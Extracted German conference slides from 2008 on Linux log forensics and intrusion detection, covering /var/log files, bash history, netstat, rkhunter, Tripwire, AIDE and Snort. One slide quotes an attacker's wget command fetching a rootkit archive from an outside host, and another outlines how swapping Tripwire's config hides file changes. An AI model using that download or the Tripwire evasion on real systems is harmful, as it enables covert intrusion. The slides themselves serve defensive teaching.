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drwxr-xr-x  2 root   root   4096 2008-10-09 02:10 apparmor
drwxr-xr-x  2 root   root   4096 2008-11-21 11:55 apt
-rw-r-----  1 syslog adm   56926 2008-11-24 20:17 auth.log
-rw-r-----  1 syslog adm    3529 2008-11-21 12:43 auth.log.0
-rw-r-----  1 root   adm      31 2008-11-21 11:54 boot
-rw-rw-r--  1 root   utmp    384 2008-11-22 14:42 btmp
drwxr-xr-x  2 root   root   4096 2008-11-21 12:30 ConsoleKit
drwxr-xr-x  2 root   root   4096 2008-11-24 08:08 cups
-rw-r-----  1 syslog adm  269559 2008-11-24 19:58 daemon.log
-rw-r-----  1 syslog adm  144300 2008-11-24 19:28 debug
drwxr-xr-x  2 root   root   4096 2008-10-25 00:02 dist-upgrade
-rw-r--r--  1 root   root    625 2008-11-24 19:28 dkms_autoinstaller
-rw-r-----  1 root   adm   39505 2008-11-24 19:28 dmesg
-rw-r-----  1 root   adm  921402 2008-11-22 17:54 dpkg.log
drwxr-xr-x  2 root   root   4096 2008-11-21 11:54 fsck
drwxr-xr-x  2 root   root   4096 2008-11-24 19:28 gdm
drwxr-xr-x  3 root   root   4096 2008-11-21 12:29 installer
-rw-r-----  1 syslog adm  840840 2008-11-24 19:28 kern.log
-rw-r-----  1 syslog adm       0 2008-11-21 11:54 mail.err
-rw-r-----  1 syslog adm    7913 2008-11-24 19:28 mail.log
-rw-r-----  1 syslog adm       0 2008-11-21 11:54 mail.warn
-rw-r-----  1 syslog adm  733916 2008-11-24 20:13 messages
-rw-r--r--  1 root   root      0 2008-11-21 12:10 pycentral.log
-rw-------  1 root   root 253959 2008-11-24 08:10 rkhunter.log
-rw-r-----  1 syslog adm  196416 2008-11-24 20:17 syslog
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Nov 24 19:28:21 secure-lab kernel: [   42.112967] Bluetooth: RFCOMM socket layer initialized
Nov 24 19:28:21 secure-lab kernel: [   42.114393] Bluetooth: RFCOMM TTY layer initialized
Nov 24 19:28:21 secure-lab kernel: [   42.114402] Bluetooth: RFCOMM ver 1.10
Nov 24 19:28:26 secure-lab kernel: [   46.260413] sky2 eth0: enabling interface
Nov 24 19:28:26 secure-lab kernel: [   46.263409] ADDRCONF(NETDEV_UP): eth0: link is not ready
Nov 24 19:28:26 secure-lab kernel: [   46.363450] NET: Registered protocol family 17
Nov 24 19:28:36 secure-lab kernel: [   56.636035] eth1: no IPv6 routers present
Nov 24 19:28:53 secure-lab kernel: [   73.665962] ecryptfs_parse_options: eCryptfs: unrecognized option 
'rw'
Nov 24 19:28:53 secure-lab kernel: [   73.667853] ecryptfs_parse_options: eCryptfs: unrecognized option 
'user=marko'

SpurenlageSpurenlage

● User hinterlassen Spuren

● Daemon & Module zeigen Aktivitäten

● Kernel, iptables sammeln und speichern Daten

● Speicherung in Logfiles „normal“
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LogfilesLogfiles
Verräterisch für AngreiferVerräterisch für Angreifer

● Logfiles nur privilegiert schreiben/löschen
[root Rechte bereits erlangt?]

● /var/spool/mail/username
[Angreifer versendet Mails via local]

● /var/log/ Hauptverzeichnis der meisten Linux-
distributionen 
[kern.log, messages, user.log, auth.log, ...]



IT-Connection München,
November 2008

http://www.marko-rogge.de

/var/log/ - Details/var/log/ - Details

● tail -n30 /var/log/kern.log – Anzeige der letzten 30 Zeilen des 
Logfiles kern.log

● head -n30 /var/log/kern.log – Zeigt die ersten 30 Einträge im 
kern.log

● tail -f /var/log/kern.log – lässt in Echtzeit das Logfile mitlaufen 
und zeigt es an

● grep "2 .*eth1*" /var/log/kern.log – Filtert Einträge der 
Schnittstelle eth1 und alles was am 2. eines Monats passiert ist

● Config: /etc/syslogd.conf für syslogd
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Aktivitäten der UserAktivitäten der User

● Userverzeichnis /home/.
[unbekannte Unterverzeichnisse & Dateien]

● /home/.bash_histrory schreibt für jeden User die Verlaufshistory 
der Befehlseingaben mit [leer = verdächtig]

● Augenmerk auf /root/.bash_history

● Abgleich über auth.log lässt Zugriffsversuche vermuten
[Telnet, SSH, Samba ...]

Leere Logfiles gleichem einem Disaster !
Sie deuten auf einen Angriff hin.
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Spuren oder Nirvana?Spuren oder Nirvana?

● Ein versierter Angreifer verwischt seine Spuren.
[wget http://ultradomain.xxxx.co.uk/~/xxx/tk.tgz, 
möglich ein Rootkit, T0rn Rootkit]

● Details über Aktivitäten mit top und htop

● tcpspy zeichnet Netzwerktraffic auf ---> log

● netstat -tulpe / netstat -tanp zeigen Netzwerktraffic 
aktuell der Applications die kommunizieren

● who abfragen, angemeldete User am System

● last zeigt Details die who „verschweigt“
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Mehr SicherheitMehr Sicherheit

● Logs automatisch generieren lassen
● Logs automatisch zusenden lassen
● Täglich abgleichen, prüfen, kontrollieren
● Software einsetzen, um Logs auszuwerten
● Prüfungen auf Root-Kits & Co.
● Alerts auf Anomalien
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AutomatisierungAutomatisierung
● Logwatch, Logcheck, Log Auswertung leicht 

gemacht und automatisch
● Zusendung via E-Mail
● Unterscheidung nach „Levels“ & Detailtiefe
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Weitere MöglichkeitenWeitere Möglichkeiten

● Tripwire, Snort & Co bieten weitere 
Möglichkeiten, mehr Sicherheit zu schaffen

● Tripwire überwacht Dateiänderungen, 
Manipulation über conf Datei möglich. 

[Neue/Leere conf anlegen, Daten eintragen, die man braucht, 
mittels mv verschieben, Attribute bleiben davon unberührt, 
Serverdienst neu starten, Datei wieder zurück schieben, 
Original löschen (Austausch der Konfigurationsdateien), 
Änderungen & Manipulationen werden nicht gesehen]
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Tripwire, EinblickTripwire, Einblick

http://sourceforge.net/projects/tripwire/



IT-Connection München,
November 2008

http://www.marko-rogge.de

Was am Ende bleibt?Was am Ende bleibt?

● Nicht auf eine Sicherheitslösung vertrauen
● Mehrstufig agieren, Zeit für Auswertung 

nehmen
● Logs auslagern auf eine 2. Maschine
● Aide erkennt auch Änderungen auf 

Verzeichnisebene [IDS]
● Snort erkennt Anomalien im Netzwerk

[./var/log/snort/Alerts]
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SoftwareSoftware

● Rkhunter, automatisierte Suche nach Rootkits
● Chkrootkit, Rootkit Suche [False Positives 

ausschliessen]
● Tripwire & Aide prüfen Dateien und 

Verzeichnisse
● Snort überwacht das Netzwerk
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EinblickEinblick
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/var/log/Danke /Fragen/var/log/Danke /Fragen

Marko Rogge 
http://www.marko-rogge.de

Penetration Tester, Hacker

Autor, Journalist
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